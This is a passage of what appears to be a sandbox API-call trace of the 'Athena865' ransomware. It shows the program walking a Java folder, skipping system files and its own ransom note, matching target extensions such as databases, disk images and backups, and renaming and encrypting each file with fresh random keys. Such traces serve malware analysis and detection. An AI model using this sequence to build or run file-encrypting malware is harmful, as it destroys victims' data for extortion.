returned 1 [0093.937] lstrlenW (lpString="adp") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="adp") returned 1 [0093.937] lstrlenW (lpString="alf") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="alf") returned 1 [0093.937] lstrlenW (lpString="ask") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="ask") returned -1 [0093.937] lstrlenW (lpString="btr") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="btr") returned -1 [0093.938] lstrlenW (lpString="cat") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="cat") returned -1 [0093.938] lstrlenW (lpString="cdb") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="cdb") returned -1 [0093.938] lstrlenW (lpString="ckp") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="ckp") returned -1 [0093.938] lstrlenW (lpString="cma") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="cma") returned -1 [0093.938] lstrlenW (lpString="cpd") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="cpd") returned -1 [0093.938] lstrlenW (lpString="dacpac") returned 6 [0093.938] lstrcmpiW (lpString1="elease", lpString2="dacpac") returned 1 [0093.938] lstrlenW (lpString="dad") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="dad") returned -1 [0093.938] lstrlenW (lpString="dadiagrams") returned 10 [0093.938] lstrlenW (lpString="daschema") returned 8 [0093.938] lstrlenW (lpString="db-journal") returned 10 [0093.938] lstrlenW (lpString="db-shm") returned 6 [0093.938] lstrcmpiW (lpString1="elease", lpString2="db-shm") returned 1 [0093.938] lstrlenW (lpString="db-wal") returned 6 [0093.938] lstrcmpiW (lpString1="elease", lpString2="db-wal") returned 1 [0093.938] lstrlenW (lpString="dbc") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="dbc") returned -1 [0093.938] lstrlenW (lpString="dbs") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="dbs") returned -1 [0093.938] lstrlenW (lpString="dbt") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="dbt") returned -1 [0093.938] lstrlenW (lpString="dbv") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="dbv") returned -1 [0093.938] lstrlenW (lpString="dbx") returned 3 [0093.938] lstrcmpiW (lpString1="ase", lpString2="dbx") returned -1 [0093.939] lstrlenW (lpString="dcb") returned 3 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dcb") returned -1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dct") returned -1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dcx") returned -1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="ddl") returned -1 [0093.939] lstrcmpiW (lpString1="ease", lpString2="dlis") returned 1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dp1") returned -1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dqy") returned -1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dsk") returned -1 [0093.939] lstrcmpiW (lpString1="ase", lpString2="dsn") returned -1 [0093.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\release.Athena865") returned 50 [0093.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\release.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\release.athena865"), dwFlags=0x1) returned 1 [0093.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\release.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.941] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=506) returned 1 [0093.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.941] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.942] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.942] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.942] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x17c [0093.945] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0093.953] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.955] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.955] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.956] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.956] CloseHandle (hObject=0x17c) returned 1 [0093.956] CloseHandle (hObject=0x154) returned 1 [0093.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.956] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0093.956] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.956] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.956] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0093.956] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0093.956] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="windows") returned -1 [0093.956] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="bootmgr") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="temp") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="pagefile.sys") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="boot") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="ids.txt") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="ntuser.dat") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="perflogs") returned 1 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="MSBuild") returned 1 [0093.957] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0093.957] lstrcpyW (in: lpString1=0x241e88a, lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="THIRDPARTYLICENSEREADME-JAVAFX.txt" [0093.957] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0093.957] lstrlenW (lpString="Athena865") returned 9 [0093.957] lstrcmpiW (lpString1="AVAFX.txt", lpString2="Athena865") returned 1 [0093.957] lstrlenW (lpString=".dll") returned 4 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".dll") returned 1 [0093.957] lstrlenW (lpString=".lnk") returned 4 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".lnk") returned 1 [0093.957] lstrlenW (lpString=".ini") returned 4 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".ini") returned 1 [0093.957] lstrlenW (lpString=".sys") returned 4 [0093.957] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".sys") returned 1 [0093.957] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0093.957] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.Athena865") returned 77 [0093.957] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt.athena865"), dwFlags=0x1) returned 1 [0093.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.958] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=125105) returned 1 [0093.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.959] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.959] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.959] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.960] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ebc0, lpName=0x0) returned 0x17c [0093.961] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ebc0) returned 0x100000 [0093.969] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.970] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.970] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.971] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.972] CloseHandle (hObject=0x17c) returned 1 [0093.972] CloseHandle (hObject=0x154) returned 1 [0093.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.973] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="windows") returned -1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="bootmgr") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="temp") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="pagefile.sys") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="boot") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="ids.txt") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="ntuser.dat") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="perflogs") returned 1 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="MSBuild") returned 1 [0093.973] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0093.973] lstrcpyW (in: lpString1=0x241e88a, lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="THIRDPARTYLICENSEREADME.txt") returned="THIRDPARTYLICENSEREADME.txt" [0093.973] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0093.973] lstrlenW (lpString="Athena865") returned 9 [0093.973] lstrcmpiW (lpString1="EADME.txt", lpString2="Athena865") returned 1 [0093.973] lstrlenW (lpString=".dll") returned 4 [0093.973] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".dll") returned 1 [0093.973] lstrlenW (lpString=".lnk") returned 4 [0093.974] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".lnk") returned 1 [0093.974] lstrlenW (lpString=".ini") returned 4 [0093.974] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".ini") returned 1 [0093.974] lstrlenW (lpString=".sys") returned 4 [0093.974] lstrcmpiW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".sys") returned 1 [0093.974] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0093.974] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.Athena865") returned 70 [0093.974] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt.athena865"), dwFlags=0x1) returned 1 [0093.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.977] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=176976) returned 1 [0093.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.977] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.978] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.978] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.978] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b650, lpName=0x0) returned 0x17c [0093.986] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b650) returned 0x170000 [0093.999] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.999] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.000] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0094.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0094.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.000] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0094.002] CloseHandle (hObject=0x17c) returned 1 [0094.002] CloseHandle (hObject=0x154) returned 1 [0094.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0094.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0094.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.003] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2=".") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="..") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="windows") returned -1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="bootmgr") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="temp") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="pagefile.sys") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="boot") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="ids.txt") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="ntuser.dat") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="perflogs") returned 1 [0094.003] lstrcmpiW (lpString1="Welcome.html", lpString2="MSBuild") returned 1 [0094.003] lstrlenW (lpString="Welcome.html") returned 12 [0094.003] lstrcpyW (in: lpString1=0x241e88a, lpString2="Welcome.html" | out: lpString1="Welcome.html") returned="Welcome.html" [0094.004] lstrlenW (lpString="Welcome.html") returned 12 [0094.004] lstrlenW (lpString="Athena865") returned 9 [0094.004] lstrcmpiW (lpString1="come.html", lpString2="Athena865") returned 1 [0094.004] lstrlenW (lpString=".dll") returned 4 [0094.004] lstrcmpiW (lpString1="Welcome.html", lpString2=".dll") returned 1 [0094.004] lstrlenW (lpString=".lnk") returned 4 [0094.004] lstrcmpiW (lpString1="Welcome.html", lpString2=".lnk") returned 1 [0094.004] lstrlenW (lpString=".ini") returned 4 [0094.004] lstrcmpiW (lpString1="Welcome.html", lpString2=".ini") returned 1 [0094.004] lstrlenW (lpString=".sys") returned 4 [0094.004] lstrcmpiW (lpString1="Welcome.html", lpString2=".sys") returned 1 [0094.004] lstrlenW (lpString="Welcome.html") returned 12 [0094.004] lstrlenW (lpString="bak") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1 [0094.004] lstrlenW (lpString="ba_") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1 [0094.004] lstrlenW (lpString="dbb") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1 [0094.004] lstrlenW (lpString="vmdk") returned 4 [0094.004] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1 [0094.004] lstrlenW (lpString="rar") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1 [0094.004] lstrlenW (lpString="zip") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1 [0094.004] lstrlenW (lpString="tgz") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1 [0094.004] lstrlenW (lpString="vbox") returned 4 [0094.004] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1 [0094.004] lstrlenW (lpString="vdi") returned 3 [0094.004] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1 [0094.004] lstrlenW (lpString="vhd") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1 [0094.005] lstrlenW (lpString="vhdx") returned 4 [0094.005] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1 [0094.005] lstrlenW (lpString="avhd") returned 4 [0094.005] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1 [0094.005] lstrlenW (lpString="db") returned 2 [0094.005] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0094.005] lstrlenW (lpString="db2") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1 [0094.005] lstrlenW (lpString="db3") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1 [0094.005] lstrlenW (lpString="dbf") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1 [0094.005] lstrlenW (lpString="mdf") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1 [0094.005] lstrlenW (lpString="mdb") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1 [0094.005] lstrlenW (lpString="sql") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1 [0094.005] lstrlenW (lpString="sqlite") returned 6 [0094.005] lstrcmpiW (lpString1="e.html", lpString2="sqlite") returned -1 [0094.005] lstrlenW (lpString="sqlite3") returned 7 [0094.005] lstrcmpiW (lpString1="me.html", lpString2="sqlite3") returned -1 [0094.005] lstrlenW (lpString="sqlitedb") returned 8 [0094.005] lstrcmpiW (lpString1="ome.html", lpString2="sqlitedb") returned -1 [0094.005] lstrlenW (lpString="xml") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1 [0094.005] lstrlenW (lpString="$er") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1 [0094.005] lstrlenW (lpString="4dd") returned 3 [0094.005] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1 [0094.006] lstrlenW (lpString="4dl") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1 [0094.006] lstrlenW (lpString="^^^") returned 3 